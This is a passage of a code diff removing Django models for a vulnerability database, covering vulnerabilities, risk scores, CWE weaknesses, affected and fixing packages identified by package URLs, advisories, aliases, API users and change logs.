models.DecimalField( - null=True, - max_digits=3, - decimal_places=1, - help_text="Weighted severity is the highest value calculated by multiplying each severity by its corresponding weight, divided by 10.", - ) - - @property - def risk_score(self): - """ - Risk expressed as a number ranging from 0 to 10. - Risk is calculated from weighted severity and exploitability values. - It is the maximum value of (the weighted severity multiplied by its exploitability) or 10 - Risk = min(weighted severity * exploitability, 10) - """ - if self.exploitability and self.weighted_severity: - risk_score = min(float(self.exploitability * self.weighted_severity), 10.0) - return round(risk_score, 1) - - objects = VulnerabilityQuerySet.as_manager() - - class Meta: - verbose_name_plural = "Vulnerabilities" - ordering = ["vulnerability_id"] - - def __str__(self): - return self.vulnerability_id - - @property - def vcid(self): - return self.vulnerability_id - - @property - def affected_packages(self): - """ - Return a queryset of packages that are affected by this vulnerability. - """ - return self.affecting_packages.with_is_vulnerable() - - @property - def packages_fixing(self): - """ - Return a queryset of packages that are fixing this vulnerability. - """ - return self.fixed_by_packages - - # legacy aliases - vulnerable_packages = affected_packages - - # legacy alias - patched_packages = packages_fixing - - @property - def get_aliases(self): - """ - Return a queryset of all Aliases for this vulnerability. - """ - return self.aliases.all() - - alias = get_aliases - - @property - def get_status_label(self): - label_by_status = {choice[0]: choice[1] for choice in VulnerabilityStatusType.choices} - return label_by_status.get(self.status) or VulnerabilityStatusType.PUBLISHED.label - - @property - def history(self): - return self.changelog.all() - - def get_absolute_url(self): - """ - Return this Vulnerability details absolute URL. - """ - return reverse("vulnerability_details", args=[self.vulnerability_id]) - - def get_details_url(self, request): - """ - Return this Package details URL. - """ - from rest_framework.reverse import reverse as reved - - return reved( - "vulnerability_details", - kwargs={"vulnerability_id": self.vulnerability_id}, - request=request, - ) - - def get_related_cpes(self): - """ - Return a list of CPE strings of this vulnerability. - """ - return list(self.references.for_cpe().values_list("reference_id", flat=True).distinct()) - - def get_related_cves(self): - """ - Return a list of aliases CVE strings of this vulnerability. - """ - return list(self.aliases.for_cve().values_list("alias", flat=True).distinct()) - - def get_affected_purls(self): - """ - Return a list of purl strings affected by this vulnerability. - """ - return [p.package_url for p in self.affected_packages.all()] - - def get_fixing_purls(self): - """ - Return a list of purl strings fixing this vulnerability. - """ - return [p.package_url for p in self.fixed_by_packages.all()] - - def get_related_purls(self): - """ - Return a list of purl strings related to this vulnerability. - """ - return [p.package_url for p in self.packages.distinct().all()] - - def aggregate_fixed_and_affected_packages(self): - from vulnerabilities.utils import get_purl_version_class - - sorted_fixed_by_packages = self.fixed_by_packages.filter(is_ghost=False).order_by( - "type", "namespace", "name", "qualifiers", "subpath" - ) - - if sorted_fixed_by_packages: - sorted_fixed_by_packages.first().calculate_version_rank - - sorted_affected_packages = self.affected_packages.all() - - if sorted_affected_packages: - sorted_affected_packages.first().calculate_version_rank - - grouped_fixed_by_packages = { - key: list(group) - for key, group in groupby( - sorted_fixed_by_packages, - key=attrgetter("type", "namespace", "name", "qualifiers", "subpath"), - ) - } - - all_affected_fixed_by_matches = [] - - for sorted_affected_package in sorted_affected_packages: - affected_fixed_by_matches = { - "affected_package": sorted_affected_package, - "matched_fixed_by_packages": [], - } - - # Build the key to find matching group - key = ( - sorted_affected_package.type, - sorted_affected_package.namespace, - sorted_affected_package.name, - sorted_affected_package.qualifiers, - sorted_affected_package.subpath, - ) - - # Get matching group from pre-grouped fixed_by_packages - matching_fixed_packages = grouped_fixed_by_packages.get(key, []) - - # Get version classes for comparison - affected_version_class = get_purl_version_class(sorted_affected_package) - affected_version = affected_version_class(sorted_affected_package.version) - - # Compare versions and filter valid matches - matched_fixed_by_packages = [ - fixed_by_package.purl - for fixed_by_package in matching_fixed_packages - if get_purl_version_class(fixed_by_package)(fixed_by_package.version) - > affected_version - ] - - affected_fixed_by_matches["matched_fixed_by_packages"] = matched_fixed_by_packages - all_affected_fixed_by_matches.append(affected_fixed_by_matches) - return sorted_fixed_by_packages, sorted_affected_packages, all_affected_fixed_by_matches - - def get_severity_vectors_and_values(self): - """ - Collect severity vectors and values, excluding EPSS scoring systems and handling errors gracefully. - """ - severity_vectors = [] - severity_values = set() - - # Exclude EPSS scoring system - base_severities = self.severities.exclude(scoring_system=EPSS.identifier) - - # QuerySet for severities with valid scoring_elements and scoring_system in SCORING_SYSTEMS - valid_scoring_severities = base_severities.filter( - scoring_elements__isnull=False, scoring_system__in=SCORING_SYSTEMS.keys() - ) - - for severity in valid_scoring_severities: - try: - vector_values = SCORING_SYSTEMS[severity.scoring_system].get( - severity.scoring_elements - ) - if vector_values: - severity_vectors.append(vector_values) - except ( - CVSS2MalformedError, - CVSS3MalformedError, - CVSS4MalformedError, - NotImplementedError, - ) as e: - logging.error(f"CVSSMalformedError for {severity.scoring_elements}: {e}") - - valid_value_severities = base_severities.filter(value__isnull=False).exclude(value="") - - severity_values.update(valid_value_severities.values_list("value", flat=True)) - - return severity_vectors, severity_values - - -def get_cwes(self): - """Yield CWE Weakness objects""" - for cwe_category in self.cwe_files: - cwe_category.seek(0) - reader = csv.DictReader(cwe_category) - for row in reader: - yield DBWeakness(*list(row.values())[0:-1]) - tree = ET.parse(xml_database_path) - root = tree.getroot() - for tag_num in [1, 2]: # Categories , Views - tag = root[tag_num] - for child in tag: - yield DBWeakness( - *[ - child.attrib["ID"], - child.attrib.get("Name"), - None, - child.attrib.get("Status"), - child[0].text, - ] - ) - - -Database.get_cwes = get_cwes - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class Weakness(models.Model): - """ - A Common Weakness Enumeration model - """ - - cwe_id = models.IntegerField(help_text="CWE id") - vulnerabilities = models.ManyToManyField(Vulnerability, related_name="weaknesses") - - cwe_by_id = {} - - class Meta: - verbose_name_plural = "Weaknesses" - - def get_cwe(self, cwe_id): - if not self.cwe_by_id: - db = Database() - for weakness in db.get_cwes(): - self.cwe_by_id[str(weakness.cwe_id)] = weakness - return self.cwe_by_id[cwe_id] - - @property - def cwe(self): - return f"CWE-{self.cwe_id}" - - @property - def weakness(self): - """ - Return a queryset of Weakness for this vulnerability. - """ - try: - weakness = self.get_cwe(str(self.cwe_id)) - return weakness - except Exception as e: - logger.warning(f"Could not find CWE {self.cwe_id}: {e}") - - @property - def name(self): - """Return the weakness's name.""" - return self.weakness.name if self.weakness else "" - - @property - def description(self): - """Return the weakness's description.""" - return self.weakness.description if self.weakness else "" - - def to_dict(self): - return {"cwe_id": self.cwe_id, "name": self.name, "description": self.description} - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class VulnerabilityReferenceQuerySet(BaseQuerySet): - def for_cpe(self): - """ - Return a queryset of VulnerabilityReferences that are for a CPE. - """ - return self.filter(reference_id__startswith="cpe") - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class VulnerabilityReference(models.Model): - """ - A reference to a vulnerability such as a security advisory from a Linux distribution or language - package manager. - """ - - vulnerabilities = models.ManyToManyField( - to="Vulnerability", - through="VulnerabilityRelatedReference", - ) - - url = models.URLField( - max_length=1024, - help_text="URL to the vulnerability reference", - unique=True, - ) - - ADVISORY = "advisory" - EXPLOIT = "exploit" - MAILING_LIST = "mailing_list" - BUG = "bug" - OTHER = "other" - - REFERENCE_TYPES = [ - (ADVISORY, "Advisory"), - (EXPLOIT, "Exploit"), - (MAILING_LIST, "Mailing List"), - (BUG, "Bug"), - (OTHER, "Other"), - ] - - reference_type = models.CharField(max_length=20, choices=REFERENCE_TYPES, blank=True) - - reference_id = models.CharField( - max_length=200, - help_text="An optional reference ID, such as DSA-4465-1 when available", - blank=True, - db_index=True, - ) - - objects = VulnerabilityReferenceQuerySet.as_manager() - - class Meta: - ordering = ["reference_id", "url", "reference_type"] - - def __str__(self): - reference_id = f" {self.reference_id}" if self.reference_id else "" - return f"{self.url}{reference_id}" - - @property - def is_cpe(self): - """ - Return True if this is a CPE reference. - """ - return self.reference_id.startswith("cpe") - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class VulnerabilityRelatedReference(models.Model): - """ - A reference related to a vulnerability. - """ - - vulnerability = models.ForeignKey( - Vulnerability, - on_delete=models.CASCADE, - ) - - reference = models.ForeignKey( - VulnerabilityReference, - on_delete=models.CASCADE, - ) - - class Meta: - unique_together = ["vulnerability", "reference"] - ordering = ["vulnerability", "reference"] - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class PackageQuerySet(BaseQuerySet, PackageURLQuerySet): - def get_fixed_by_package_versions(self, purl: PackageURL, fix=True): - """ - Return a queryset of all the package versions of this `package` that fix any vulnerability. - If `fix` is False, return all package versions whether or not they fix a vulnerability. - """ - filter_dict = { - "name": purl.name, - "namespace": purl.namespace, - "type": purl.type, - "qualifiers": purl.qualifiers, - "subpath": purl.subpath, - } - - if fix: - filter_dict["fixing_vulnerabilities__isnull"] = False - - # TODO: why do we need distinct - return Package.objects.filter(**filter_dict).distinct() - - def get_or_create_from_purl(self, purl: Union[PackageURL, str]): - """ - Return a new or existing Package given a ``purl`` PackageURL object or PURL string. - """ - package, is_created = Package.objects.get_or_create(**purl_to_dict(purl=purl)) - - return package, is_created - - def from_purl(self, purl: Union[PackageURL, str]): - """ - Return a new Package given a ``purl`` PackageURL object or PURL string. - """ - return Package.objects.create(**purl_to_dict(purl=purl)) - - def affected(self): - """ - Return only packages affected by a vulnerability. - """ - return self.filter(affected_by_vulnerabilities__isnull=False) - - vulnerable = affected - - def fixing(self): - """ - Return only packages fixing a vulnerability . - """ - return self.filter(fixing_vulnerabilities__isnull=False) - - def with_vulnerability_counts(self): - return self.annotate( - vulnerability_count=Count( - "affected_by_vulnerabilities", - ), - patched_vulnerability_count=Count( - "fixing_vulnerabilities", - ), - ) - - def fixing_packages(self, package, with_qualifiers_and_subpath=True): - """ - Return a queryset of packages that are fixing the vulnerability of - ``package``. - """ - - return self.match_purl( - purl=package.purl, - with_qualifiers_and_subpath=with_qualifiers_and_subpath, - ).fixing() - - def search(self, query: str = None): - """ - Return a Package queryset searching for the ``query``. - Make a best effort approach to find matching packages either based - on exact purl, partial purl or just name and namespace. - """ - query = query and query.strip() - if not query: - return self.none() - qs = self - - try: - # if it's a valid purl, try to parse it and use it as is - purl = str(utils.plain_purl(query)) - qs = qs.filter(package_url__istartswith=purl) - except ValueError: - # otherwise use query as a plain string - qs = qs.filter(package_url__icontains=query) - return qs.order_by("package_url") - - def for_purl(self, purl): - """ - Return a queryset matching the ``purl`` Package URL. - """ - return self.filter(package_url=purl) - - def for_purls(self, purls=()): - """ - Return a queryset of Packages matching a list of PURLs. - """ - return self.filter(package_url__in=purls).distinct() - - def with_cpes(self): - """ - Return a queryset of Package that a vulnerability with one or more NVD CPE references. - """ - return self.filter(vulnerabilities__vulnerabilityreference__reference_id__startswith="cpe") - - def for_cpe(self, cpe): - """ - Return a queryset of Packages that have the ``cpe`` as an NVD CPE reference. - """ - return self.filter(vulnerabilities__vulnerabilityreference__reference_id__exact=cpe) - - def with_cves(self): - """ - Return a queryset of Packages that have one or more NVD CVE aliases. - """ - return self.filter(vulnerabilities__aliases__alias__startswith="CVE") - - def for_cve(self, cve): - """ - Return a queryset of Packages that have the NVD CVE ``cve`` as a vulnerability alias. - """ - return self.filter(vulnerabilities__aliases__alias=cve) - - def with_is_vulnerable(self): - """ - Annotate Package with ``is_vulnerable`` boolean attribute. - """ - return self.annotate( - is_vulnerable=Exists( - AffectedByPackageRelatedVulnerability.objects.filter( - package=OuterRef("pk"), - ) - ) - ) - - def only_vulnerable(self): - return self._vulnerable(True) - - def only_non_vulnerable(self): - return self._vulnerable(False).filter(is_ghost=False) - - def _vulnerable(self, vulnerable=True): - """ - Filter to select only vulnerable or non-vulnearble packages. - """ - return self.with_is_vulnerable().filter(is_vulnerable=vulnerable) - - def vulnerable(self): - """ - Return only packages that are vulnerable. - """ - return self.filter(affected_by_vulnerabilities__isnull=False) - - -def get_purl_query_lookups(purl): - """ - Return a dictionary of non-empty plain purl fields - Do not reference all the possible qualifiers and relax the - purl matching to only lookup the type, namespace, name and version fields. - """ - plain_purl = utils.plain_purl(purl=purl) - return purl_to_dict(plain_purl, with_empty=False) - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class Package(PackageURLMixin): - """ - A software package with related vulnerabilities. - """ - - # Remove the `qualifers` and `set_package_url` overrides after - # https://github.com/package-url/packageurl-python/pull/35 - # https://github.com/package-url/packageurl-python/pull/67 - # gets merged - - affected_by_vulnerabilities = models.ManyToManyField( - to="Vulnerability", - through="AffectedByPackageRelatedVulnerability", - ) - - fixing_vulnerabilities = models.ManyToManyField( - to="Vulnerability", - through="FixingPackageRelatedVulnerability", - related_name="fixed_by_packages", # Unique related_name - ) - - package_url = models.CharField( - max_length=1000, - null=False, - help_text="The Package URL for this package.", - db_index=True, - ) - - plain_package_url = models.CharField( - max_length=1000, - null=False, - help_text="The Package URL for this package without qualifiers and subpath.", - db_index=True, - ) - - is_ghost = models.BooleanField( - default=False, - help_text="True if the package does not exist in the upstream package manager or its repository.", - db_index=True, - ) - - risk_score = models.DecimalField( - null=True, - max_digits=3, - decimal_places=1, - help_text="Risk score between 0.00 and 10.00, where higher values " - "indicate greater vulnerability risk for the package.", - ) - - version_rank = models.IntegerField( - help_text="Rank of the version to support ordering by version. Rank " - "zero means the rank has not been defined yet", - default=0, - db_index=True, - ) - - objects = PackageQuerySet.as_manager() - - class Meta: - unique_together = ["type", "namespace", "name", "version", "qualifiers", "subpath"] - ordering = ["type", "namespace", "name", "version_rank", "version", "qualifiers", "subpath"] - indexes = [ - # Index for getting al versions of a package - models.Index(fields=["type", "namespace", "name"]), - models.Index(fields=["type", "namespace", "name", "qualifiers", "subpath"]), - # Index for getting a specific version of a package - models.Index( - fields=[ - "type", - "namespace", - "name", - "version", - ] - ), - ] - - def __str__(self): - return self.package_url - - @property - def purl(self): - return self.package_url - - def save(self, *args, **kwargs): - """ - Save, normalizing PURL fields. - """ - purl = PackageURL( - type=self.type, - namespace=self.namespace, - name=self.name, - version=self.version, - qualifiers=self.qualifiers, - subpath=self.subpath, - ) - - # We re-parse the purl to ensure name and namespace - # are set correctly - normalized = normalize_purl(purl=purl) - - for name, value in purl_to_dict(normalized).items(): - setattr(self, name, value) - - self.package_url = str(normalized) - plain_purl = utils.plain_purl(normalized) - self.plain_package_url = str(plain_purl) - super().save(*args, **kwargs) - - @property - def calculate_version_rank(self): - """ - Calculate and return the `version_rank` for a package that does not have one. - If this package already has a `version_rank`, return it. - - The calculated rank will be interpolated between two packages that have - `version_rank` values and are closest to this package in terms of version order. - """ - - group_packages = Package.objects.filter( - type=self.type, - namespace=self.namespace, - name=self.name, - ) - - if any(p.version_rank == 0 for p in group_packages): - sorted_packages = sorted(group_packages, key=lambda p: self.version_class(p.version)) - for rank, package in enumerate(sorted_packages, start=1): - package.version_rank = rank - Package.objects.bulk_update(sorted_packages, fields=["version_rank"]) - return self.version_rank - - @property - def affected_by(self): - """ - Return a queryset of vulnerabilities affecting this package. - """ - return self.affected_by_vulnerabilities.all() - - # legacy aliases - vulnerable_to = affected_by - - @property - # TODO: consider renaming to "fixes" or "fixing" ? (TBD) and updating the docstring - def fixing(self): - """ - Return a queryset of vulnerabilities fixed by this package. - """ - return self.fixing_vulnerabilities.all() - - # legacy aliases - resolved_to = fixing - - @property - def fixed_packages(self): - """ - Return a queryset of packages that are fixed. - """ - return Package.objects.fixing_packages(package=self).distinct() - - @property - def history(self): - return self.changelog.all() - - def get_absolute_url(self): - """ - Return this Package details URL. - """ - return reverse("package_details", args=[self.purl]) - - def get_details_url(self, request): - """ - Return this Package details URL. - """ - from rest_framework.reverse import reverse - - return reverse("package_details", kwargs={"purl": self.purl}, request=request) - - @cached_property - def version_class(self): - range_class = RANGE_CLASS_BY_SCHEMES.get(self.type) - return range_class.version_class if range_class else Version - - @cached_property - def current_version(self): - return self.version_class(self.version) - - @property - def next_non_vulnerable_version(self): - """ - Return the version string of the next non-vulnerable package version. - """ - next_non_vulnerable, _ = self.get_non_vulnerable_versions() - return next_non_vulnerable.version if next_non_vulnerable else None - - @property - def latest_non_vulnerable_version(self): - """ - Return the version string of the latest non-vulnerable package version. - """ - _, latest_non_vulnerable = self.get_non_vulnerable_versions() - return latest_non_vulnerable.version if latest_non_vulnerable else None - - def get_non_vulnerable_versions(self): - """ - Return a tuple of the next and latest non-vulnerable versions as Package instance. - Return a tuple of (None, None) if there is no non-vulnerable version. - """ - if self.version_rank == 0: - self.calculate_version_rank - non_vulnerable_versions = Package.objects.get_fixed_by_package_versions( - self, fix=False - ).only_non_vulnerable() - - later_non_vulnerable_versions = non_vulnerable_versions.filter( - version_rank__gt=self.version_rank - ) - - later_non_vulnerable_versions = list(later_non_vulnerable_versions) - - if later_non_vulnerable_versions: - sorted_versions = later_non_vulnerable_versions - next_non_vulnerable = sorted_versions[0] - latest_non_vulnerable = sorted_versions[-1] - return next_non_vulnerable, latest_non_vulnerable - - return None, None - - @property - def fixed_package_details(self): - """ - Return a mapping of vulnerabilities that affect this package and the next and - latest non-vulnerable versions. - """ - package_details = {} - package_details["purl"] = PackageURL.from_string(self.purl) - - next_non_vulnerable, latest_non_vulnerable = self.get_non_vulnerable_versions() - package_details["next_non_vulnerable"] = next_non_vulnerable - package_details["latest_non_vulnerable"] = latest_non_vulnerable - - package_details["vulnerabilities"] = self.get_affecting_vulnerabilities() - - return package_details - - def get_affecting_vulnerabilities(self): - """ - Return a list of vulnerabilities that affect this package together with information regarding - the versions that fix the vulnerabilities. - """ - if self.version_rank == 0: - self.calculate_version_rank - package_details_vulns = [] - - fixed_by_packages = Package.objects.get_fixed_by_package_versions(self, fix=True) - - package_vulnerabilities = self.affected_by_vulnerabilities.prefetch_related( - Prefetch( - "fixed_by_packages", - queryset=fixed_by_packages, - to_attr="fixed_packages", - ) - ) - - for vuln in package_vulnerabilities: - package_details_vulns.append({"vulnerability": vuln}) - later_fixed_packages = [] - - for fixed_pkg in vuln.fixed_packages: - if fixed_pkg not in fixed_by_packages: - continue - fixed_version = self.version_class(fixed_pkg.version) - if fixed_version > self.current_version: - later_fixed_packages.append(fixed_pkg) - - next_fixed_package_vulns = [] - - sort_fixed_by_packages_by_version = [] - if later_fixed_packages: - sort_fixed_by_packages_by_version = sorted( - later_fixed_packages, key=lambda p: p.version_rank - ) - - fixed_by_pkgs = [] - - for vuln_details in package_details_vulns: - if vuln_details["vulnerability"] != vuln: - continue - vuln_details["fixed_by_purl"] = [] - vuln_details["fixed_by_purl_vulnerabilities"] = [] - - for fixed_by_pkg in sort_fixed_by_packages_by_version: - fixed_by_package_details = {} - fixed_by_purl = PackageURL.from_string(fixed_by_pkg.purl) - next_fixed_package_vulns = list(fixed_by_pkg.affected_by) - - fixed_by_package_details["fixed_by_purl"] = fixed_by_purl - fixed_by_package_details["fixed_by_purl_vulnerabilities"] = ( - next_fixed_package_vulns - ) - fixed_by_pkgs.append(fixed_by_package_details) - - vuln_details["fixed_by_package_details"] = fixed_by_pkgs - - return package_details_vulns - - @property - def fixing_vulnerabilities(self): - """ - Return a queryset of Vulnerabilities that are fixed by this package. - """ - return self.fixed_by_vulnerabilities.all() - - @property - def affecting_vulns(self): - """ - Return a queryset of Vulnerabilities that affect this `package`. - """ - fixed_by_packages = Package.objects.get_fixed_by_package_versions(self, fix=True) - return self.affected_by_vulnerabilities.all().prefetch_related( - Prefetch( - "fixed_by_packages", - queryset=fixed_by_packages, - to_attr="fixed_packages", - ) - ) - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class PackageRelatedVulnerabilityBase(models.Model): - """ - Abstract base class for package-vulnerability relations. - """ - - package = models.ForeignKey( - Package, - on_delete=models.CASCADE, - db_index=True, - # related_name="%(class)s_set", # Unique related_name per subclass - ) - - vulnerability = models.ForeignKey( - Vulnerability, - on_delete=models.CASCADE, - db_index=True, - # related_name="%(class)s_set", # Unique related_name per subclass - ) - - created_by = models.CharField( - max_length=100, - blank=True, - help_text=( - "Fully qualified name of the improver prefixed with the module name " - "responsible for creating this relation. Eg: vulnerabilities.importers.nginx.NginxBasicImprover" - ), - ) - - from vulnerabilities.improver import MAX_CONFIDENCE - - confidence = models.PositiveIntegerField( - default=MAX_CONFIDENCE, - validators=[MinValueValidator(0), MaxValueValidator(MAX_CONFIDENCE)], - help_text="Confidence score for this relation", - ) - - class Meta: - abstract = True - unique_together = ["package", "vulnerability"] - ordering = ["package", "vulnerability"] - - def __str__(self): - relation = "fixes" if isinstance(self, FixingPackageRelatedVulnerability) else "affected by" - return f"{self.package.package_url} {relation} {self.vulnerability.vulnerability_id}" - - def update_or_create(self, advisory): - """ - Update if supplied record has more confidence than existing record. - Create if it doesn't exist. - """ - model_class = self.__class__ - try: - existing = model_class.objects.get( - vulnerability=self.vulnerability, package=self.package - ) - if self.confidence > existing.confidence: - existing.created_by = self.created_by - existing.confidence = self.confidence - existing.save() - logger.info( - f"Confidence improved for {self.package} R {self.vulnerability}, " - f"new confidence: {self.confidence}" - ) - self.add_package_vulnerability_changelog(advisory=advisory) - except model_class.DoesNotExist: - model_class.objects.create( - vulnerability=self.vulnerability, - created_by=self.created_by, - package=self.package, - confidence=self.confidence, - ) - - logger.info( - f"New relationship {self.package} R {self.vulnerability}, " - f"confidence: {self.confidence}" - ) - - self.add_package_vulnerability_changelog(advisory=advisory) - - @transaction.atomic - def add_package_vulnerability_changelog(self, advisory): - from vulnerabilities.utils import get_importer_name - - importer_name = get_importer_name(advisory) - if isinstance(self, FixingPackageRelatedVulnerability): - change_logger = PackageChangeLog.log_fixing - else: - change_logger = PackageChangeLog.log_affected_by - change_logger( - package=self.package, - importer=importer_name, - source_url=advisory.url or None, - related_vulnerability=str(self.vulnerability), - ) - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class FixingPackageRelatedVulnerability(PackageRelatedVulnerabilityBase): - class Meta(PackageRelatedVulnerabilityBase.Meta): - verbose_name_plural = "Fixing Package Related Vulnerabilities" - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class AffectedByPackageRelatedVulnerability(PackageRelatedVulnerabilityBase): - - severities = models.ManyToManyField( - VulnerabilitySeverity, - related_name="affected_package_vulnerability_relations", - ) - - objects = BaseQuerySet.as_manager() - - class Meta(PackageRelatedVulnerabilityBase.Meta): - verbose_name_plural = "Affected By Package Related Vulnerabilities" - - -class AliasQuerySet(BaseQuerySet): - def for_cve(self): - """ - Return a queryset of Aliases that are for a CVE. - """ - return self.filter(alias__startswith="CVE") - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class Alias(models.Model): - """ - An alias is a unique vulnerability identifier in some database, such as - the NVD, PYSEC, CVE or similar. These databases guarantee that these - identifiers are unique within their namespace. - An alias may also be used as a Reference. But in contrast with some - Reference may not be an identifier for a single vulnerability, for instance, - security advisories such as Debian security advisory reference various - vulnerabilities. - """ - - alias = models.CharField( - max_length=50, - unique=True, - blank=False, - null=False, - help_text="An alias is a unique vulnerability identifier in some database, " - "such as CVE-2020-2233", - ) - - vulnerability = models.ForeignKey( - Vulnerability, - related_name="aliases", - on_delete=models.SET_NULL, - null=True, - blank=True, - ) - - objects = AliasQuerySet.as_manager() - - class Meta: - verbose_name_plural = "Aliases" - ordering = ["alias"] - - def __str__(self): - return self.alias - - @cached_property - def url(self): - """ - Create a URL for the alias. - """ - alias: str = self.alias - if alias.startswith("CVE"): - return f"https://nvd.nist.gov/vuln/detail/{alias}" - - if alias.startswith("GHSA"): - return f"https://github.com/advisories/{alias}" - - if alias.startswith("NPM-"): - id = alias.lstrip("NPM-") - return f"https://github.com/nodejs/security-wg/blob/main/vuln/npm/{id}.json" - - -class AdvisoryQuerySet(BaseQuerySet): - def search(query): - """ - This function will take a string as an input, the string could be an alias or an advisory ID or - something in the advisory description. - """ - return Advisory.objects.filter( - Q(advisory_id__icontains=query) - | Q(aliases__alias__icontains=query) - | Q(summary__icontains=query) - | Q(references__url__icontains=query) - ).distinct() - - -# FIXME: Remove when migration from Vulnerability to Advisory is completed -class Advisory(models.Model): - """ - An advisory represents data directly obtained from upstream transformed - into structured data - """ - - unique_content_id = models.CharField( - max_length=64, - blank=False, - null=False, - unique=True, - help_text="A 64 character unique identifier for the content of the advisory since we use sha256 as hex", - ) - aliases = models.ManyToManyField( - Alias, - through="AdvisoryRelatedAlias", - related_name="advisories", - ) - summary = models.TextField( - blank=True, - ) - # we use a JSON field here to avoid creating a complete relational model for data that - # is never queried directly; instead it is only retrieved and processed as a whole by - # an improver - affected_packages = models.JSONField( - blank=True, default=list, help_text="A list of serializable AffectedPackage objects" - ) - references = models.JSONField( - blank=True, default=list, help_text="A list of serializable Reference objects" - ) - date_published = models.DateTimeField( - blank=True, null=True, help_text="UTC Date of publication of the advisory" - ) - weaknesses = models.JSONField(blank=True, default=list, help_text="A list of CWE ids") - date_collected = models.DateTimeField(help_text="UTC Date on which the advisory was collected") - date_imported = models.DateTimeField( - blank=True, null=True, help_text="UTC Date on which the advisory was imported" - ) - created_by = models.CharField( - max_length=100, - help_text="Fully qualified name of the importer prefixed with the" - "module name importing the advisory. Eg:" - "vulnerabilities.pipeline.nginx_importer.NginxImporterPipeline", - ) - url = models.URLField( - blank=False, - null=False, - help_text="Link to the advisory on the upstream website", - ) - - objects = AdvisoryQuerySet.as_manager() - - class Meta: - verbose_name_plural = "Advisories" - ordering = ["date_published", "unique_content_id"] - - def save(self, *args, **kwargs): - self.full_clean() - return super().save(*args, **kwargs) - - def to_advisory_data(self) -> "AdvisoryData": - from vulnerabilities.importer import AdvisoryData - from vulnerabilities.importer import AffectedPackage - from vulnerabilities.importer import Reference - - return AdvisoryData( - aliases=[item.alias for item in self.aliases.all()], - summary=self.summary, - affected_packages=[ - AffectedPackage.from_dict(pkg) for pkg in self.affected_packages if pkg - ], - references=[Reference.from_dict(ref) for ref in self.references], - date_published=self.date_published, - weaknesses=self.weaknesses, - url=self.url, - ) - - -class AdvisoryRelatedAlias(models.Model): - advisory = models.ForeignKey( - Advisory, - on_delete=models.CASCADE, - ) - - alias = models.ForeignKey( - Alias, - on_delete=models.CASCADE, - ) - - class Meta: - unique_together = ("advisory", "alias") - - -UserModel = get_user_model() - - -class ApiUserManager(UserManager): - def create_api_user(self, username, first_name="", last_name="", **extra_fields): - """ - Create and return an API-only user. Raise ValidationError. - """ - username = self.normalize_email(username) - email = username - self._validate_username(email) - - # note we use the email as username and we could instead override - # django.contrib.auth.models.AbstractUser.USERNAME_FIELD - - user = self.create_user( - username=email, - email=email, - password=None, - first_name=first_name, - last_name=last_name, - **extra_fields, - ) - - # this ensure that this is not a valid password - user.set_unusable_password() - user.save() - - Token._default_manager.get_or_create(user=user) - - return user - - def _validate_username(self, email): - """ - Validate username. If invalid, raise a ValidationError - """ - try: - self.get_by_natural_key(email) - except models.ObjectDoesNotExist: - pass - else: - raise exceptions.ValidationError(f"Error: This email already exists: {email}") - - -class ApiUser(UserModel): - """A User proxy model to facilitate simplified admin API user creation.""" - - objects = ApiUserManager() - - class Meta: - proxy = True - permissions = [ - ( - "throttle_3_unrestricted", - "Can make unlimited API requests without any throttling limits", - ), - ( - "throttle_2_high", - "Can make high number of API requests with minimal throttling", - ), - ( - "throttle_1_medium", - "Can make medium number of API requests with standard throttling", - ), - ( - "throttle_0_low", - "Can make low number of API requests with strict throttling", - ), - ] - - -class ChangeLog(models.Model): - action_time = models.DateTimeField( - # check if dates are actually UTC - default=timezone.now, - editable=False, - help_text="Time of the change", - ) - - actor_name = models.CharField( - max_length=100, - help_text="Name of the actor: either a script or username for instance tgoel, NVDImporter or NginxImprover.", - ) - - action_type = models.PositiveSmallIntegerField( - help_text="Action type such as: update, create. Possible values are defined in subclasses" - ) - - source_url = models.URLField( - max_length=1024, - help_text="URL to the source of this change", - blank=True, - null=True, - ) - - software_version = models.CharField( - max_length=100, - help_text="Version of the software at the time of change", - blank=False, - null=False, - ) - - @property - def get_action_type_label(self): - label_by_status = { - choice_code: choice_label for choice_code, choice_label in self.ACTION_TYPE_CHOICES - } - return label_by_status.get(self.action_type) - - @property - def get_iso_time(self): - return self.action_time.isoformat() - - class Meta: - abstract = True - ordering = ("-action_time",) - - -class VulnerabilityHistoryManager(models.Manager): - def get_for_object(self, vuln, **kwargs): - return self.filter( - vulnerability=vuln, - **kwargs, - ) - - def log_action( - self, - vulnerability, - action_type, - actor_name, - source_url, - ): - """ - Creates a History entry for a given `obj` on Addition, Change, and Deletion. - We do not log addition for object that inherit the HistoryFieldsMixin since - the `created_by` and `created_date` are already set on its model. - """ - return self.model.objects.get_or_create( - vulnerability=vulnerability, - action_type=action_type, - actor_name=actor_name, - source_url=source_url, - software_version=VULNERABLECODE_VERSION, - ) - - -class VulnerabilityChangeLog(ChangeLog): - IMPORT = 1 - IMPROVE = 2 - - ACTION_TYPE_CHOICES = ( - (IMPORT, "Import"), - (IMPROVE, "Improve"), - ) - - vulnerability = models.ForeignKey( - Vulnerability, on_delete=models.CASCADE, related_name="changelog" - ) - - action_type = models.PositiveSmallIntegerField(choices=ACTION_TYPE_CHOICES) - - objects = VulnerabilityHistoryManager() - - @classmethod - def log_import(cls, vulnerability, importer, source_url): - """ - Creates History entry on Addition. - """ - return cls.objects.log_action( - vulnerability=vulnerability, - action_type=VulnerabilityChangeLog.IMPORT, - actor_name=importer, - source_url=source_url, - ) - - @classmethod - def log_improve(cls, vulnerability, improver, source_url): - """ - Creates History entry on Improvement. - """ - return cls.objects.log_action( - vulnerability=vulnerability, - action_type=VulnerabilityChangeLog.IMPROVE, - actor_name=improver, - source_url=source_url, - ) - - -class PackageHistoryManager(models.Manager): - def get_for_object(self, package, **kwargs): - return self.filter( - package=package, - **kwargs, - ) - - def log_action(self, package, action_type, actor_name, source_url, related_vulnerability): - """ - Creates a History entry for a given `obj` on Addition, Change, and Deletion. - We do not log addition for object that inherit the HistoryFieldsMixin since - the `created_by` and `created_date` are already set on its model. - """ - return 